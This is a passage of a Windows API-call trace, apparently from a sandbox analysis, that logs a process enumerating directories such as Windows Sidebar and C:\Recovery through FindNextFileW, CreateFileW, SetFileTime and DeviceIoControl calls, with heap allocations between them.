cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb35987, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb35987, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 0 [0090.476] GetLastError () returned 0x12 [0090.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13426d0) returned 1 [0090.476] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0090.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340d08) returned 1 [0090.477] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbf1ad59c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.477] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbf1ad59c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.477] GetLastError () returned 0x12 [0090.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.477] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 0 [0090.478] GetLastError () returned 0x12 [0090.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0090.478] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0090.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.478] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334cc8b0, ftCreationTime.dwHighDateTime=0x1d5b7c8, ftLastAccessTime.dwLowDateTime=0xbf7409f0, ftLastAccessTime.dwHighDateTime=0x1d5a23f, ftLastWriteTime.dwLowDateTime=0xbf7409f0, ftLastWriteTime.dwHighDateTime=0x1d5a23f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1 [0090.478] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6cc007, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b6cc007, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xadcc4370, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0090.478] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c393c21, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c393c21, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0090.478] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="")) returned 1 [0090.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.479] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.480] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.480] NtClose (Handle=0x178) returned 0x0 [0090.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0090.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.481] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.481] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.481] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0090.481] GetLastError () returned 0x12 [0090.481] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0090.481] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.481] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.481] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0090.481] GetLastError () returned 0x12 [0090.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.482] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0090.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.482] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e26afc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e26afc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e4cc5c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0090.482] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b27b844, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b27b844, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1525cf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0090.482] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b27b844, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b27b844, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1525cf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0090.482] GetLastError () returned 0x12 [0090.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.483] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0090.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.483] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0090.484] GetLastError () returned 0x12 [0090.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0090.484] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0090.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0090.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0090.488] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0090.488] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Recovery", cAlternateFileName="")) returned 1 [0090.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0090.488] GetFileAttributesExW (in: lpFileName="C:\\Recovery" (normalized: "c:\\recovery"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.489] CreateFileW (lpFileName="C:\\Recovery" (normalized: "c:\\recovery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0090.490] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0090.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.490] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0090.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.490] NtClose (Handle=0x17c) returned 0x0 [0090.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0090.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0090.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0090.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0090.491] FindFirstFileExW (in: lpFileName="C:\\Recovery\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9180 [0090.491] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.493] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="")) returned 1 [0090.493] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="")) returned 0 [0090.493] GetLastError () returned 0x12 [0090.493] FindFirstFileExW (in: lpFileName="C:\\Recovery\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9100 [0090.493] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0090.493] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.493] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="")) returned 1 [0090.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.493] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.493] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0090.494] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0090.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.494] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0090.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.494] NtClose (Handle=0x17c) returned 0x0 [0090.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0090.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.495] FindFirstFileExW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9180 [0090.496] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.497] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0090.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4b38 [0090.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0090.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.498] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0090.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4b58 [0090.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0090.500] FindNextFileW (in: hFindFile=0x2e9180, 